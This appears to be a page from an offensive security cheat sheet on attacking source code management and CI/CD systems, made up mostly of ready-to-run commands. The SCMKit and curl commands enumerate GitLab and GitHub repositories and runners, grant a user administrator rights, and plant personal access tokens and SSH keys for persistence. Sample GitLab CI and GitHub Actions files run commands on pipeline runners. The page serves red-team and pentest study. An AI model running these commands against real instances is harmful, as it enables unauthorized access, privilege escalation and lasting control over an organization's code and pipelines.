# Source Code Management & CI/CD Compromise
2024-04-22 12:51:51 +00:00
> CI/CD is a method to frequently deliver apps to customers by introducing automation into the stages of app development. The main concepts attributed to CI/CD are continuous integration, continuous delivery, and continuous deployment. Compromises in CI/CD can occur through unauthorized access, misconfiguration, dependency vulnerabilities, insecure secrets, and lack of visibility.

## Tools
* [synacktiv/nord-stream ](https://github.com/synacktiv/nord-stream ) - List the secrets stored inside CI/CD environments and extract them by deploying malicious pipelines
* [xforcered/SCMKit ](https://github.com/xforcered/SCMKit ) - Source Code Management Attack Toolkit
## Enumerate repositories files and secrets
Using [SCMKit - Source Code Management Attack Toolkit ](https://github.com/xforcered/SCMKit )
* Discover repositories being used in a particular SCM system
```ps1
SCMKit.exe -s gitlab -m listrepo -c userName:password -u https://gitlab.something.local
SCMKit.exe -s gitlab -m listrepo -c apiKey -u https://gitlab.something.local
```
* Search for repositories by repository name in a particular SCM system
```ps1
SCMKit.exe -s github -m searchrepo -c userName:password -u https://github.something.local -o "some search term"
SCMKit.exe -s gitlab -m searchrepo -c apikey -u https://gitlab.something.local -o "some search term"
```
* Search for code containing a given keyword in a particular SCM system
```ps1
SCMKit.exe -s github -m searchcode -c userName:password -u https://github.something.local -o "some search term"
SCMKit.exe -s github -m searchcode -c apikey -u https://github.something.local -o "some search term"
```
* Search for files in repositories containing a given keyword in the file name in a particular SCM system
```ps1
SCMKit.exe -s gitlab -m searchfile -c userName:password -u https://gitlab.something.local -o "some search term"
SCMKit.exe -s gitlab -m searchfile -c apikey -u https://gitlab.something.local -o "some search term"
```
* List snippets owned by the current user in GitLab
```ps1
SCMKit.exe -s gitlab -m listsnippet -c userName:password -u https://gitlab.something.local
SCMKit.exe -s gitlab -m listsnippet -c apikey -u https://gitlab.something.local
```
* List all GitLab runners available to the current user in GitLab
```ps1
SCMKit.exe -s gitlab -m listrunner -c userName:password -u https://gitlab.something.local
SCMKit.exe -s gitlab -m listrunner -c apikey -u https://gitlab.something.local
```
* Promote a normal user to an administrative role in a particular SCM system
```ps1
SCMKit.exe -s gitlab -m addadmin -c userName:password -u https://gitlab.something.local -o targetUserName
SCMKit.exe -s gitlab -m addadmin -c apikey -u https://gitlab.something.local -o targetUserName
SCMKit.exe -s gitlab -m removeadmin -c userName:password -u https://gitlab.something.local -o targetUserName
```

## Personal Access Token
Create a PAT (Personal Access Token) as a persistence mechanism for the Gitlab instance.
* Manual
```ps1
curl -k --request POST --header "PRIVATE-TOKEN: apiToken" --data "name=user-persistence-token" --data "expires_at=" --data "scopes[]=api" --data "scopes[]=read_repository" --data "scopes[]=write_repository" "https://gitlabHost/api/v4/users/UserIDNumber/personal_access_tokens"
```
* Using `SCMKit.exe` : Create/List/Delete an access token to be used in a particular SCM system
2023-11-17 11:56:44 +00:00
```ps1
SCMKit.exe -s gitlab -m createpat -c userName:password -u https://gitlab.something.local -o targetUserName
SCMKit.exe -s gitlab -m createpat -c apikey -u https://gitlab.something.local -o targetUserName
SCMKit.exe -s gitlab -m removepat -c userName:password -u https://gitlab.something.local -o patID
SCMKit.exe -s gitlab -m listpat -c userName:password -u https://gitlab.something.local -o targetUser
SCMKit.exe -s gitlab -m listpat -c apikey -u https://gitlab.something.local -o targetUser
```
2024-04-22 12:51:51 +00:00
* Get the assigned privileges to an access token being used in a particular SCM system
```ps1
SCMKit.exe -s gitlab -m privs -c apiKey -u https://gitlab.something.local
```
## SSH Keys
2023-11-17 11:56:44 +00:00
* Create/List an SSH key to be used in a particular SCM system
```ps1
SCMKit.exe -s gitlab -m createsshkey -c userName:password -u https://gitlab.something.local -o "ssh public key"
SCMKit.exe -s gitlab -m createsshkey -c apiToken -u https://gitlab.something.local -o "ssh public key"
SCMKit.exe -s gitlab -m listsshkey -c userName:password -u https://github.something.local
SCMKit.exe -s gitlab -m listsshkey -c apiToken -u https://github.something.local
SCMKit.exe -s gitlab -m removesshkey -c userName:password -u https://gitlab.something.local -o sshKeyID
SCMKit.exe -s gitlab -m removesshkey -c apiToken -u https://gitlab.something.local -o sshKeyID
```

## Gitlab CI
2023-11-17 11:56:44 +00:00
* Gitlab-CI "Command Execution" example: `.gitlab-ci.yml`
```yaml
stages:
- test
test:
stage: test
script:
- |
whoami
parallel:
matrix:
- RUNNER: VM1
- RUNNER: VM2
- RUNNER: VM3
tags:
- ${RUNNER}
```

### Gitlab Executors
* **Shell** executor: The jobs are run with the permissions of the GitLab Runner’ s user and can steal code from other projects that are run on this server.
* **Docker** executor: Docker can be considered safe when running in non-privileged mode.
* **SSH** executor: SSH executors are susceptible to MITM attack (man-in-the-middle), because of missing `StrictHostKeyChecking` option.
### Gitlab CI/CD variables
CI/CD Variables are a convenient way to store and use data in a CI/CD pipeline, but variables are less secure than secrets management providers
## Github Actions
2023-11-17 11:56:44 +00:00
* Github Action "Command Execution" example: `.github/workflows/example.yml`
```yml
name: example
on:
workflow_dispatch:
push:
branches: [ main ]
pull_request:
branches: [ main ]
jobs:
build:
runs-on: windows-2019
steps:
- name: Execute
run: |
whoami
```
